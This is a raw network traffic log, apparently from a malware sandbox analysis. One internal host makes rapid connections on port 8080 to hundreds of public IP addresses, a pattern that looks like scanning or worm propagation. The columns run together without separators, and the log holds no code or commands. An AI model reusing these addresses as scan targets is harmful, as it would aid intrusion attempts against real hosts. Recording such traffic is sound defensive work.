                                                Nov 23, 2023 05:19:44.343043089 CET645068080192.168.2.1594.104.246.115
                                                Nov 23, 2023 05:19:44.343048096 CET645068080192.168.2.1595.231.50.159
                                                Nov 23, 2023 05:19:44.343065023 CET645068080192.168.2.1562.254.90.14
                                                Nov 23, 2023 05:19:44.343065023 CET645068080192.168.2.1531.220.189.11
                                                Nov 23, 2023 05:19:44.343070030 CET645068080192.168.2.1594.218.54.92
                                                Nov 23, 2023 05:19:44.343077898 CET645068080192.168.2.1531.29.91.29
                                                Nov 23, 2023 05:19:44.343080044 CET645068080192.168.2.1585.93.30.122
                                                Nov 23, 2023 05:19:44.343080044 CET645068080192.168.2.1595.250.72.224
                                                Nov 23, 2023 05:19:44.343085051 CET645068080192.168.2.1585.38.64.243
                                                Nov 23, 2023 05:19:44.343095064 CET645068080192.168.2.1562.100.83.130
                                                Nov 23, 2023 05:19:44.343097925 CET645068080192.168.2.1585.121.177.216
                                                Nov 23, 2023 05:19:44.343100071 CET645068080192.168.2.1562.183.224.145
                                                Nov 23, 2023 05:19:44.343118906 CET645068080192.168.2.1531.248.153.98
                                                Nov 23, 2023 05:19:44.343121052 CET645068080192.168.2.1585.56.39.189
                                                Nov 23, 2023 05:19:44.343122005 CET645068080192.168.2.1562.226.106.166
                                                Nov 23, 2023 05:19:44.343135118 CET645068080192.168.2.1585.105.144.192
                                                Nov 23, 2023 05:19:44.343133926 CET645068080192.168.2.1531.22.128.72
                                                Nov 23, 2023 05:19:44.343133926 CET645068080192.168.2.1585.42.27.5
                                                Nov 23, 2023 05:19:44.343147993 CET645068080192.168.2.1562.17.6.145
                                                Nov 23, 2023 05:19:44.343158007 CET645068080192.168.2.1595.86.72.85
                                                Nov 23, 2023 05:19:44.343158960 CET645068080192.168.2.1531.12.184.78
                                                Nov 23, 2023 05:19:44.343167067 CET645068080192.168.2.1594.0.165.240
                                                Nov 23, 2023 05:19:44.343172073 CET645068080192.168.2.1531.113.27.15
                                                Nov 23, 2023 05:19:44.343174934 CET645068080192.168.2.1531.182.234.248
                                                Nov 23, 2023 05:19:44.343185902 CET645068080192.168.2.1562.26.233.68
                                                Nov 23, 2023 05:19:44.343194008 CET645068080192.168.2.1531.239.63.76
                                                Nov 23, 2023 05:19:44.343197107 CET645068080192.168.2.1595.154.105.81
                                                Nov 23, 2023 05:19:44.343194008 CET645068080192.168.2.1585.137.245.221
                                                Nov 23, 2023 05:19:44.343194008 CET645068080192.168.2.1562.145.125.96
                                                Nov 23, 2023 05:19:44.343200922 CET645068080192.168.2.1562.18.128.109
                                                Nov 23, 2023 05:19:44.343203068 CET645068080192.168.2.1531.110.135.43
                                                Nov 23, 2023 05:19:44.343205929 CET645068080192.168.2.1594.113.84.73
                                                Nov 23, 2023 05:19:44.343216896 CET645068080192.168.2.1562.198.124.17
                                                Nov 23, 2023 05:19:44.343216896 CET645068080192.168.2.1562.171.44.104
                                                Nov 23, 2023 05:19:44.343221903 CET645068080192.168.2.1562.22.31.160
                                                Nov 23, 2023 05:19:44.343221903 CET645068080192.168.2.1594.235.183.42
                                                Nov 23, 2023 05:19:44.343233109 CET645068080192.168.2.1594.168.134.199
                                                Nov 23, 2023 05:19:44.343238115 CET645068080192.168.2.1585.12.221.198
                                                Nov 23, 2023 05:19:44.343240976 CET645068080192.168.2.1594.1.66.1
                                                Nov 23, 2023 05:19:44.343255997 CET645068080192.168.2.1531.246.150.157
                                                Nov 23, 2023 05:19:44.343256950 CET645068080192.168.2.1594.18.191.195
                                                Nov 23, 2023 05:19:44.343257904 CET645068080192.168.2.1595.99.148.205
                                                Nov 23, 2023 05:19:44.343257904 CET645068080192.168.2.1562.211.158.18
                                                Nov 23, 2023 05:19:44.343261957 CET645068080192.168.2.1562.68.187.71
                                                Nov 23, 2023 05:19:44.343264103 CET645068080192.168.2.1585.118.19.72
                                                Nov 23, 2023 05:19:44.343272924 CET645068080192.168.2.1594.159.244.252
                                                Nov 23, 2023 05:19:44.343274117 CET645068080192.168.2.1594.127.238.160
                                                Nov 23, 2023 05:19:44.343283892 CET645068080192.168.2.1531.137.162.206
                                                Nov 23, 2023 05:19:44.343283892 CET645068080192.168.2.1562.117.200.71
                                                Nov 23, 2023 05:19:44.343295097 CET645068080192.168.2.1562.69.84.13
                                                Nov 23, 2023 05:19:44.343297958 CET645068080192.168.2.1594.217.184.145
                                                Nov 23, 2023 05:19:44.343317032 CET645068080192.168.2.1531.216.29.119
                                                Nov 23, 2023 05:19:44.343317986 CET645068080192.168.2.1562.162.253.213
                                                Nov 23, 2023 05:19:44.343317986 CET645068080192.168.2.1585.189.33.126
                                                Nov 23, 2023 05:19:44.343322039 CET645068080192.168.2.1585.169.111.246
                                                Nov 23, 2023 05:19:44.343322039 CET645068080192.168.2.1594.47.215.141
                                                Nov 23, 2023 05:19:44.343326092 CET645068080192.168.2.1531.224.173.33
                                                Nov 23, 2023 05:19:44.343338966 CET645068080192.168.2.1562.168.52.22
                                                Nov 23, 2023 05:19:44.343339920 CET645068080192.168.2.1594.66.1.57
                                                Nov 23, 2023 05:19:44.343344927 CET645068080192.168.2.1595.191.159.140
                                                Nov 23, 2023 05:19:44.343347073 CET645068080192.168.2.1585.235.14.117
                                                Nov 23, 2023 05:19:44.343349934 CET645068080192.168.2.1594.191.163.154
                                                Nov 23, 2023 05:19:44.343358994 CET645068080192.168.2.1585.5.238.129
                                                Nov 23, 2023 05:19:44.343362093 CET645068080192.168.2.1594.181.38.193
                                                Nov 23, 2023 05:19:44.343372107 CET645068080192.168.2.1562.156.78.56
                                                Nov 23, 2023 05:19:44.343374014 CET645068080192.168.2.1531.239.81.106
                                                Nov 23, 2023 05:19:44.343384981 CET645068080192.168.2.1531.155.184.61
                                                Nov 23, 2023 05:19:44.343384981 CET645068080192.168.2.1531.188.163.189
                                                Nov 23, 2023 05:19:44.343401909 CET645068080192.168.2.1531.126.240.251
                                                Nov 23, 2023 05:19:44.343401909 CET645068080192.168.2.1531.246.2.123
                                                Nov 23, 2023 05:19:44.343413115 CET645068080192.168.2.1594.254.214.179
                                                Nov 23, 2023 05:19:44.343415022 CET645068080192.168.2.1562.209.236.24
                                                Nov 23, 2023 05:19:44.343422890 CET645068080192.168.2.1585.163.215.185
                                                Nov 23, 2023 05:19:44.343430996 CET645068080192.168.2.1594.247.68.40
                                                Nov 23, 2023 05:19:44.343435049 CET645068080192.168.2.1594.67.118.142
                                                Nov 23, 2023 05:19:44.343442917 CET645068080192.168.2.1562.190.240.158
                                                Nov 23, 2023 05:19:44.343449116 CET645068080192.168.2.1531.218.130.246
                                                Nov 23, 2023 05:19:44.343456984 CET645068080192.168.2.1594.42.224.211
                                                Nov 23, 2023 05:19:44.343462944 CET645068080192.168.2.1531.73.20.157
                                                Nov 23, 2023 05:19:44.343475103 CET645068080192.168.2.1585.94.205.65
                                                Nov 23, 2023 05:19:44.343477011 CET645068080192.168.2.1585.147.165.175
                                                Nov 23, 2023 05:19:44.343481064 CET645068080192.168.2.1585.149.184.178
                                                Nov 23, 2023 05:19:44.343486071 CET645068080192.168.2.1585.176.123.21
                                                Nov 23, 2023 05:19:44.343497992 CET645068080192.168.2.1594.0.246.157
                                                Nov 23, 2023 05:19:44.343501091 CET645068080192.168.2.1594.153.220.221
                                                Nov 23, 2023 05:19:44.343504906 CET645068080192.168.2.1595.187.127.177
                                                Nov 23, 2023 05:19:44.343518972 CET645068080192.168.2.1594.90.211.2
                                                Nov 23, 2023 05:19:44.343518972 CET645068080192.168.2.1531.228.214.235
                                                Nov 23, 2023 05:19:44.343528032 CET645068080192.168.2.1585.236.218.204
                                                Nov 23, 2023 05:19:44.343535900 CET645068080192.168.2.1585.31.147.137
                                                Nov 23, 2023 05:19:44.343544960 CET645068080192.168.2.1585.6.83.2
                                                Nov 23, 2023 05:19:44.343549967 CET645068080192.168.2.1595.50.157.54
                                                Nov 23, 2023 05:19:44.343550920 CET645068080192.168.2.1594.32.105.116
                                                Nov 23, 2023 05:19:44.343556881 CET645068080192.168.2.1585.65.81.180
                                                Nov 23, 2023 05:19:44.343558073 CET645068080192.168.2.1594.132.204.31
                                                Nov 23, 2023 05:19:44.343570948 CET645068080192.168.2.1595.199.90.14
                                                Nov 23, 2023 05:19:44.343573093 CET645068080192.168.2.1594.95.141.38
                                                Nov 23, 2023 05:19:44.343580008 CET645068080192.168.2.1531.162.138.94
                                                Nov 23, 2023 05:19:44.343580961 CET645068080192.168.2.1531.229.187.231
                                                Nov 23, 2023 05:19:44.343584061 CET645068080192.168.2.1562.29.144.137
                                                Nov 23, 2023 05:19:44.343595028 CET645068080192.168.2.1595.176.130.132
                                                Nov 23, 2023 05:19:44.343595982 CET645068080192.168.2.1531.146.140.196
                                                Nov 23, 2023 05:19:44.343595982 CET645068080192.168.2.1562.76.57.209
                                                Nov 23, 2023 05:19:44.343596935 CET645068080192.168.2.1595.212.179.13
                                                Nov 23, 2023 05:19:44.343595028 CET645068080192.168.2.1562.61.191.203
                                                Nov 23, 2023 05:19:44.343604088 CET645068080192.168.2.1594.234.215.154
                                                Nov 23, 2023 05:19:44.343621016 CET645068080192.168.2.1531.43.35.47
                                                Nov 23, 2023 05:19:44.343624115 CET645068080192.168.2.1531.22.141.47
                                                Nov 23, 2023 05:19:44.343630075 CET645068080192.168.2.1531.152.144.167
                                                Nov 23, 2023 05:19:44.343630075 CET645068080192.168.2.1562.73.225.157
                                                Nov 23, 2023 05:19:44.343636036 CET645068080192.168.2.1585.204.32.212
                                                Nov 23, 2023 05:19:44.343646049 CET645068080192.168.2.1562.144.51.200
                                                Nov 23, 2023 05:19:44.343647003 CET645068080192.168.2.1562.61.14.83
                                                Nov 23, 2023 05:19:44.343660116 CET645068080192.168.2.1595.200.171.128
                                                Nov 23, 2023 05:19:44.343664885 CET645068080192.168.2.1562.105.67.196
                                                Nov 23, 2023 05:19:44.343672991 CET645068080192.168.2.1595.156.184.222
                                                Nov 23, 2023 05:19:44.343677044 CET645068080192.168.2.1595.235.254.168
                                                Nov 23, 2023 05:19:44.343682051 CET645068080192.168.2.1562.171.174.150
                                                Nov 23, 2023 05:19:44.343684912 CET645068080192.168.2.1562.236.242.137
                                                Nov 23, 2023 05:19:44.343699932 CET645068080192.168.2.1594.63.207.70
                                                Nov 23, 2023 05:19:44.343699932 CET645068080192.168.2.1595.202.184.55
                                                Nov 23, 2023 05:19:44.343705893 CET645068080192.168.2.1531.203.116.116
                                                Nov 23, 2023 05:19:44.343705893 CET645068080192.168.2.1531.117.178.9
                                                Nov 23, 2023 05:19:44.343705893 CET645068080192.168.2.1595.246.79.99
                                                Nov 23, 2023 05:19:44.343722105 CET645068080192.168.2.1531.0.223.62
                                                Nov 23, 2023 05:19:44.343727112 CET645068080192.168.2.1562.197.171.41
                                                Nov 23, 2023 05:19:44.343734980 CET645068080192.168.2.1594.66.164.135
                                                Nov 23, 2023 05:19:44.343744040 CET645068080192.168.2.1595.35.51.101
                                                Nov 23, 2023 05:19:44.343744040 CET645068080192.168.2.1562.31.98.161
                                                Nov 23, 2023 05:19:44.343760967 CET645068080192.168.2.1594.193.178.174
                                                Nov 23, 2023 05:19:44.343765020 CET645068080192.168.2.1531.119.187.149
                                                Nov 23, 2023 05:19:44.343766928 CET645068080192.168.2.1531.135.10.104
                                                Nov 23, 2023 05:19:44.343776941 CET645068080192.168.2.1595.47.241.15
                                                Nov 23, 2023 05:19:44.343776941 CET645068080192.168.2.1585.4.92.18
                                                Nov 23, 2023 05:19:44.343782902 CET645068080192.168.2.1531.230.150.18
                                                Nov 23, 2023 05:19:44.343789101 CET645068080192.168.2.1595.137.25.87
                                                Nov 23, 2023 05:19:44.343799114 CET645068080192.168.2.1531.137.200.155
                                                Nov 23, 2023 05:19:44.343802929 CET645068080192.168.2.1595.44.193.5
                                                Nov 23, 2023 05:19:44.343815088 CET645068080192.168.2.1595.19.103.130
                                                Nov 23, 2023 05:19:44.343822956 CET645068080192.168.2.1531.41.211.126
                                                Nov 23, 2023 05:19:44.343837023 CET645068080192.168.2.1594.13.250.82
                                                Nov 23, 2023 05:19:44.343837023 CET645068080192.168.2.1531.225.165.83
                                                Nov 23, 2023 05:19:44.343842983 CET645068080192.168.2.1595.122.132.180
                                                Nov 23, 2023 05:19:44.343842983 CET645068080192.168.2.1531.72.58.249
                                                Nov 23, 2023 05:19:44.343844891 CET645068080192.168.2.1595.188.120.149
                                                Nov 23, 2023 05:19:44.343861103 CET645068080192.168.2.1531.48.132.215
                                                Nov 23, 2023 05:19:44.343862057 CET645068080192.168.2.1595.238.148.70
                                                Nov 23, 2023 05:19:44.343868971 CET645068080192.168.2.1594.114.163.31
                                                Nov 23, 2023 05:19:44.343874931 CET645068080192.168.2.1595.160.100.190
                                                Nov 23, 2023 05:19:44.343893051 CET645068080192.168.2.1585.26.160.92
                                                Nov 23, 2023 05:19:44.343893051 CET645068080192.168.2.1594.139.224.114
                                                Nov 23, 2023 05:19:44.343895912 CET645068080192.168.2.1595.41.9.9
                                                Nov 23, 2023 05:19:44.343904018 CET645068080192.168.2.1562.199.159.114
                                                Nov 23, 2023 05:19:44.343919992 CET645068080192.168.2.1562.62.216.121
                                                Nov 23, 2023 05:19:44.343920946 CET645068080192.168.2.1594.95.177.17
                                                Nov 23, 2023 05:19:44.343928099 CET645068080192.168.2.1531.111.175.115
                                                Nov 23, 2023 05:19:44.343931913 CET645068080192.168.2.1562.206.65.81
                                                Nov 23, 2023 05:19:44.343933105 CET645068080192.168.2.1594.61.190.199
                                                Nov 23, 2023 05:19:44.343933105 CET645068080192.168.2.1531.228.9.94
                                                Nov 23, 2023 05:19:44.343957901 CET645068080192.168.2.1531.209.72.67
                                                Nov 23, 2023 05:19:44.343957901 CET645068080192.168.2.1594.69.72.155
                                                Nov 23, 2023 05:19:44.343957901 CET645068080192.168.2.1594.182.150.88
                                                Nov 23, 2023 05:19:44.343960047 CET645068080192.168.2.1562.73.234.114
                                                Nov 23, 2023 05:19:44.343961954 CET645068080192.168.2.1595.43.197.66
                                                Nov 23, 2023 05:19:44.343965054 CET645068080192.168.2.1595.29.135.92
                                                Nov 23, 2023 05:19:44.343980074 CET645068080192.168.2.1585.41.214.117
                                                Nov 23, 2023 05:19:44.343981028 CET645068080192.168.2.1585.221.70.247
                                                Nov 23, 2023 05:19:44.343981028 CET645068080192.168.2.1585.118.68.114
                                                Nov 23, 2023 05:19:44.343981981 CET645068080192.168.2.1595.214.154.242
                                                Nov 23, 2023 05:19:44.343991995 CET645068080192.168.2.1531.243.211.19
                                                Nov 23, 2023 05:19:44.343995094 CET645068080192.168.2.1594.237.196.196
                                                Nov 23, 2023 05:19:44.344002008 CET645068080192.168.2.1562.189.72.145
                                                Nov 23, 2023 05:19:44.344017029 CET645068080192.168.2.1562.129.74.134
                                                Nov 23, 2023 05:19:44.344022989 CET645068080192.168.2.1594.14.38.137
                                                Nov 23, 2023 05:19:44.344031096 CET645068080192.168.2.1562.147.80.45
                                                Nov 23, 2023 05:19:44.344033003 CET645068080192.168.2.1595.38.195.21
                                                Nov 23, 2023 05:19:44.344038010 CET645068080192.168.2.1594.148.94.59
                                                Nov 23, 2023 05:19:44.344041109 CET645068080192.168.2.1531.181.25.179
                                                Nov 23, 2023 05:19:44.344053030 CET645068080192.168.2.1595.131.137.221
                                                Nov 23, 2023 05:19:44.344053030 CET645068080192.168.2.1594.116.128.80
                                                Nov 23, 2023 05:19:44.344069958 CET645068080192.168.2.1562.244.165.56
                                                Nov 23, 2023 05:19:44.344074011 CET645068080192.168.2.1562.96.27.121
                                                Nov 23, 2023 05:19:44.344074011 CET645068080192.168.2.1562.146.132.47
                                                Nov 23, 2023 05:19:44.344084978 CET645068080192.168.2.1595.169.188.152
                                                Nov 23, 2023 05:19:44.344095945 CET645068080192.168.2.1531.22.122.255
                                                Nov 23, 2023 05:19:44.344095945 CET645068080192.168.2.1595.92.51.101
                                                Nov 23, 2023 05:19:44.344095945 CET645068080192.168.2.1594.243.155.145
                                                Nov 23, 2023 05:19:44.344108105 CET645068080192.168.2.1585.28.80.130
                                                Nov 23, 2023 05:19:44.344110966 CET645068080192.168.2.1595.166.234.136
                                                Nov 23, 2023 05:19:44.344125986 CET645068080192.168.2.1585.153.218.12
                                                Nov 23, 2023 05:19:44.344127893 CET645068080192.168.2.1562.125.55.10
                                                Nov 23, 2023 05:19:44.344132900 CET645068080192.168.2.1595.168.60.184
                                                Nov 23, 2023 05:19:44.344152927 CET645068080192.168.2.1594.214.239.121
                                                Nov 23, 2023 05:19:44.344152927 CET645068080192.168.2.1562.175.21.223
                                                Nov 23, 2023 05:19:44.344165087 CET645068080192.168.2.1594.82.113.125
                                                Nov 23, 2023 05:19:44.344165087 CET645068080192.168.2.1595.241.164.59
                                                Nov 23, 2023 05:19:44.344172955 CET645068080192.168.2.1531.162.88.185
                                                Nov 23, 2023 05:19:44.344181061 CET645068080192.168.2.1585.115.17.61
                                                Nov 23, 2023 05:19:44.344182968 CET645068080192.168.2.1594.19.49.136
                                                Nov 23, 2023 05:19:44.344187975 CET645068080192.168.2.1531.119.53.204
                                                Nov 23, 2023 05:19:44.344191074 CET645068080192.168.2.1562.103.250.232
                                                Nov 23, 2023 05:19:44.344194889 CET645068080192.168.2.1594.110.217.119
                                                Nov 23, 2023 05:19:44.344203949 CET645068080192.168.2.1594.223.161.53
                                                Nov 23, 2023 05:19:44.344208956 CET645068080192.168.2.1531.112.165.55
                                                Nov 23, 2023 05:19:44.344213963 CET645068080192.168.2.1595.210.250.63
                                                Nov 23, 2023 05:19:44.344221115 CET645068080192.168.2.1531.36.205.7
                                                Nov 23, 2023 05:19:44.344228983 CET645068080192.168.2.1531.147.56.4
                                                Nov 23, 2023 05:19:44.344243050 CET645068080192.168.2.1594.168.91.243
                                                Nov 23, 2023 05:19:44.344247103 CET645068080192.168.2.1531.35.119.159
                                                Nov 23, 2023 05:19:44.344249010 CET645068080192.168.2.1562.250.232.120
                                                Nov 23, 2023 05:19:44.344259024 CET645068080192.168.2.1595.207.99.19
                                                Nov 23, 2023 05:19:44.344264030 CET645068080192.168.2.1595.63.62.56
                                                Nov 23, 2023 05:19:44.344276905 CET645068080192.168.2.1531.66.167.81
                                                Nov 23, 2023 05:19:44.344285965 CET645068080192.168.2.1562.141.29.237
                                                Nov 23, 2023 05:19:44.344286919 CET645068080192.168.2.1595.146.176.70
                                                Nov 23, 2023 05:19:44.344288111 CET645068080192.168.2.1585.27.1.14
                                                Nov 23, 2023 05:19:44.344302893 CET645068080192.168.2.1562.187.188.129
                                                Nov 23, 2023 05:19:44.344304085 CET645068080192.168.2.1585.231.165.49
                                                Nov 23, 2023 05:19:44.344305992 CET645068080192.168.2.1594.159.135.207
                                                Nov 23, 2023 05:19:44.344316006 CET645068080192.168.2.1585.50.199.26
                                                Nov 23, 2023 05:19:44.344324112 CET645068080192.168.2.1595.242.179.110
                                                Nov 23, 2023 05:19:44.344324112 CET645068080192.168.2.1531.128.148.117
                                                Nov 23, 2023 05:19:44.344332933 CET645068080192.168.2.1562.130.166.77
                                                Nov 23, 2023 05:19:44.344340086 CET645068080192.168.2.1595.105.250.223
                                                Nov 23, 2023 05:19:44.344341040 CET645068080192.168.2.1595.222.240.33
                                                Nov 23, 2023 05:19:44.344341040 CET645068080192.168.2.1594.98.217.101
                                                Nov 23, 2023 05:19:44.344345093 CET645068080192.168.2.1594.114.165.222
                                                Nov 23, 2023 05:19:44.344347000 CET645068080192.168.2.1531.92.127.136
                                                Nov 23, 2023 05:19:44.344353914 CET645068080192.168.2.1531.141.117.27
                                                Nov 23, 2023 05:19:44.344366074 CET645068080192.168.2.1595.160.154.213
                                                Nov 23, 2023 05:19:44.344367027 CET645068080192.168.2.1562.112.241.211
                                                Nov 23, 2023 05:19:44.344367981 CET645068080192.168.2.1585.155.42.89
                                                Nov 23, 2023 05:19:44.344367981 CET645068080192.168.2.1594.110.182.16
                                                Nov 23, 2023 05:19:44.344377041 CET645068080192.168.2.1594.141.217.66
                                                Nov 23, 2023 05:19:44.344393015 CET645068080192.168.2.1594.205.134.85
                                                Nov 23, 2023 05:19:44.344399929 CET645068080192.168.2.1595.163.238.114
                                                Nov 23, 2023 05:19:44.344399929 CET645068080192.168.2.1585.115.87.157
                                                Nov 23, 2023 05:19:44.344400883 CET645068080192.168.2.1595.86.224.192
                                                Nov 23, 2023 05:19:44.344403982 CET645068080192.168.2.1585.140.213.129
                                                Nov 23, 2023 05:19:44.344418049 CET645068080192.168.2.1562.172.36.222
                                                Nov 23, 2023 05:19:44.344418049 CET645068080192.168.2.1562.25.226.173
                                                Nov 23, 2023 05:19:44.344427109 CET645068080192.168.2.1585.158.140.212
                                                Nov 23, 2023 05:19:44.344428062 CET645068080192.168.2.1562.80.116.25
                                                Nov 23, 2023 05:19:44.344438076 CET645068080192.168.2.1594.50.37.1
                                                Nov 23, 2023 05:19:44.344444990 CET645068080192.168.2.1594.144.10.20
                                                Nov 23, 2023 05:19:44.344449997 CET645068080192.168.2.1531.42.52.227
                                                Nov 23, 2023 05:19:44.344460964 CET645068080192.168.2.1562.152.176.52
                                                Nov 23, 2023 05:19:44.344461918 CET645068080192.168.2.1562.113.219.192
                                                Nov 23, 2023 05:19:44.344471931 CET645068080192.168.2.1595.63.13.144
                                                Nov 23, 2023 05:19:44.344481945 CET645068080192.168.2.1562.179.214.253
                                                Nov 23, 2023 05:19:44.344482899 CET645068080192.168.2.1562.139.4.199
                                                Nov 23, 2023 05:19:44.344499111 CET645068080192.168.2.1595.74.217.35
                                                Nov 23, 2023 05:19:44.344499111 CET645068080192.168.2.1531.1.165.166
                                                Nov 23, 2023 05:19:44.344505072 CET645068080192.168.2.1594.13.90.247
                                                Nov 23, 2023 05:19:44.344512939 CET645068080192.168.2.1595.209.222.34
                                                Nov 23, 2023 05:19:44.344516039 CET645068080192.168.2.1595.91.143.174
                                                Nov 23, 2023 05:19:44.344517946 CET645068080192.168.2.1531.27.125.91
                                                Nov 23, 2023 05:19:44.344532013 CET645068080192.168.2.1594.93.18.153
                                                Nov 23, 2023 05:19:44.344535112 CET645068080192.168.2.1594.88.134.76
                                                Nov 23, 2023 05:19:44.344546080 CET645068080192.168.2.1562.124.207.141
                                                Nov 23, 2023 05:19:44.344548941 CET645068080192.168.2.1595.149.1.116
                                                Nov 23, 2023 05:19:44.344554901 CET645068080192.168.2.1562.73.255.143
                                                Nov 23, 2023 05:19:44.344564915 CET645068080192.168.2.1562.31.139.175
                                                Nov 23, 2023 05:19:44.344573975 CET645068080192.168.2.1531.129.76.163
                                                Nov 23, 2023 05:19:44.344573975 CET645068080192.168.2.1595.199.212.121
                                                Nov 23, 2023 05:19:44.344575882 CET645068080192.168.2.1531.232.220.41
                                                Nov 23, 2023 05:19:44.344588041 CET645068080192.168.2.1585.100.84.231
                                                Nov 23, 2023 05:19:44.344590902 CET645068080192.168.2.1531.163.186.26
                                                Nov 23, 2023 05:19:44.344593048 CET645068080192.168.2.1595.117.213.3
                                                Nov 23, 2023 05:19:44.344595909 CET645068080192.168.2.1531.149.105.75
                                                Nov 23, 2023 05:19:44.344608068 CET645068080192.168.2.1595.139.54.245
                                                Nov 23, 2023 05:19:44.344610929 CET645068080192.168.2.1531.155.15.24
                                                Nov 23, 2023 05:19:44.344614029 CET645068080192.168.2.1595.218.217.230
                                                Nov 23, 2023 05:19:44.344615936 CET645068080192.168.2.1595.149.135.68
                                                Nov 23, 2023 05:19:44.344616890 CET645068080192.168.2.1531.113.35.89
                                                Nov 23, 2023 05:19:44.344630003 CET645068080192.168.2.1585.98.181.222
                                                Nov 23, 2023 05:19:44.344630957 CET645068080192.168.2.1562.119.78.181
                                                Nov 23, 2023 05:19:44.344644070 CET645068080192.168.2.1585.2.9.242
                                                Nov 23, 2023 05:19:44.344646931 CET645068080192.168.2.1562.129.113.163
                                                Nov 23, 2023 05:19:44.344650030 CET645068080192.168.2.1585.232.46.67
                                                Nov 23, 2023 05:19:44.344664097 CET645068080192.168.2.1594.221.114.18
                                                Nov 23, 2023 05:19:44.344666958 CET645068080192.168.2.1531.177.101.51
                                                Nov 23, 2023 05:19:44.344666958 CET645068080192.168.2.1585.217.82.184
                                                Nov 23, 2023 05:19:44.344676018 CET645068080192.168.2.1585.206.133.166
                                                Nov 23, 2023 05:19:44.344681025 CET645068080192.168.2.1594.142.100.203
                                                Nov 23, 2023 05:19:44.344681025 CET645068080192.168.2.1531.193.6.33
                                                Nov 23, 2023 05:19:44.344701052 CET645068080192.168.2.1531.216.44.160
                                                Nov 23, 2023 05:19:44.344706059 CET645068080192.168.2.1594.51.62.150
                                                Nov 23, 2023 05:19:44.344711065 CET645068080192.168.2.1585.144.148.213
                                                Nov 23, 2023 05:19:44.344722033 CET645068080192.168.2.1585.43.14.22
                                                Nov 23, 2023 05:19:44.344726086 CET645068080192.168.2.1562.123.121.153
                                                Nov 23, 2023 05:19:44.344727993 CET645068080192.168.2.1594.100.106.206
                                                Nov 23, 2023 05:19:44.344746113 CET645068080192.168.2.1562.161.215.228
                                                Nov 23, 2023 05:19:44.344748020 CET645068080192.168.2.1594.245.7.83
                                                Nov 23, 2023 05:19:44.344752073 CET645068080192.168.2.1562.143.233.27
                                                Nov 23, 2023 05:19:44.344757080 CET645068080192.168.2.1585.134.8.211
                                                Nov 23, 2023 05:19:44.344768047 CET645068080192.168.2.1585.102.255.88
                                                Nov 23, 2023 05:19:44.344769001 CET645068080192.168.2.1594.190.151.146
                                                Nov 23, 2023 05:19:44.344768047 CET645068080192.168.2.1531.68.1.242
                                                Nov 23, 2023 05:19:44.344784021 CET645068080192.168.2.1531.253.225.6
                                                Nov 23, 2023 05:19:44.344784021 CET645068080192.168.2.1562.210.144.112
                                                Nov 23, 2023 05:19:44.344801903 CET645068080192.168.2.1531.238.206.218
                                                Nov 23, 2023 05:19:44.344801903 CET645068080192.168.2.1594.182.134.206
                                                Nov 23, 2023 05:19:44.344806910 CET645068080192.168.2.1594.27.188.195
                                                Nov 23, 2023 05:19:44.344814062 CET645068080192.168.2.1562.121.100.155
                                                Nov 23, 2023 05:19:44.344820023 CET645068080192.168.2.1562.94.0.156
                                                Nov 23, 2023 05:19:44.344821930 CET645068080192.168.2.1594.86.34.37
                                                Nov 23, 2023 05:19:44.344841003 CET645068080192.168.2.1531.127.223.46
                                                Nov 23, 2023 05:19:44.344841003 CET645068080192.168.2.1595.162.182.66
                                                Nov 23, 2023 05:19:44.344841957 CET645068080192.168.2.1594.205.159.147
                                                Nov 23, 2023 05:19:44.344856024 CET645068080192.168.2.1562.190.192.53
                                                Nov 23, 2023 05:19:44.344856024 CET645068080192.168.2.1531.246.197.88
                                                Nov 23, 2023 05:19:44.344857931 CET645068080192.168.2.1595.252.237.234
                                                Nov 23, 2023 05:19:44.344877005 CET645068080192.168.2.1594.62.211.54
                                                Nov 23, 2023 05:19:44.344878912 CET645068080192.168.2.1595.170.250.48
                                                Nov 23, 2023 05:19:44.344880104 CET645068080192.168.2.1585.255.245.171
                                                Nov 23, 2023 05:19:44.344880104 CET645068080192.168.2.1531.59.144.103
                                                Nov 23, 2023 05:19:44.344880104 CET645068080192.168.2.1562.94.140.224
                                                Nov 23, 2023 05:19:44.344888926 CET645068080192.168.2.1562.225.9.214
                                                Nov 23, 2023 05:19:44.344891071 CET645068080192.168.2.1562.127.51.134
                                                Nov 23, 2023 05:19:44.344901085 CET645068080192.168.2.1531.34.116.214
                                                Nov 23, 2023 05:19:44.344912052 CET645068080192.168.2.1585.69.54.93
                                                Nov 23, 2023 05:19:44.344922066 CET645068080192.168.2.1562.129.248.27
                                                Nov 23, 2023 05:19:44.344932079 CET645068080192.168.2.1595.9.165.162
                                                Nov 23, 2023 05:19:44.344932079 CET645068080192.168.2.1585.152.5.17
                                                Nov 23, 2023 05:19:44.344933033 CET645068080192.168.2.1562.215.70.106
                                                Nov 23, 2023 05:19:44.344942093 CET645068080192.168.2.1585.137.247.170
                                                Nov 23, 2023 05:19:44.344947100 CET645068080192.168.2.1562.175.30.43
                                                Nov 23, 2023 05:19:44.344949961 CET645068080192.168.2.1562.118.201.113
                                                Nov 23, 2023 05:19:44.344957113 CET645068080192.168.2.1562.28.116.157
                                                Nov 23, 2023 05:19:44.344965935 CET645068080192.168.2.1531.66.51.169
                                                Nov 23, 2023 05:19:44.344969034 CET645068080192.168.2.1562.222.138.168
                                                Nov 23, 2023 05:19:44.344971895 CET645068080192.168.2.1594.110.209.212
                                                Nov 23, 2023 05:19:44.344976902 CET645068080192.168.2.1531.212.95.130
                                                Nov 23, 2023 05:19:44.344985962 CET645068080192.168.2.1594.54.210.70
                                                Nov 23, 2023 05:19:44.344990969 CET645068080192.168.2.1531.241.179.5
                                                Nov 23, 2023 05:19:44.345004082 CET645068080192.168.2.1595.121.240.55
                                                Nov 23, 2023 05:19:44.345006943 CET645068080192.168.2.1594.197.18.88
                                                Nov 23, 2023 05:19:44.345005989 CET645068080192.168.2.1594.63.23.7
                                                Nov 23, 2023 05:19:44.345021963 CET645068080192.168.2.1594.75.91.180
                                                Nov 23, 2023 05:19:44.345024109 CET645068080192.168.2.1562.112.162.245
                                                Nov 23, 2023 05:19:44.345029116 CET645068080192.168.2.1595.68.181.197
                                                Nov 23, 2023 05:19:44.345038891 CET645068080192.168.2.1562.223.91.127
                                                Nov 23, 2023 05:19:44.345040083 CET645068080192.168.2.1531.111.204.151
                                                Nov 23, 2023 05:19:44.345041990 CET645068080192.168.2.1562.36.75.16
                                                Nov 23, 2023 05:19:44.345043898 CET645068080192.168.2.1585.162.71.157
                                                Nov 23, 2023 05:19:44.345056057 CET645068080192.168.2.1531.21.209.80
                                                Nov 23, 2023 05:19:44.345065117 CET645068080192.168.2.1585.114.5.231
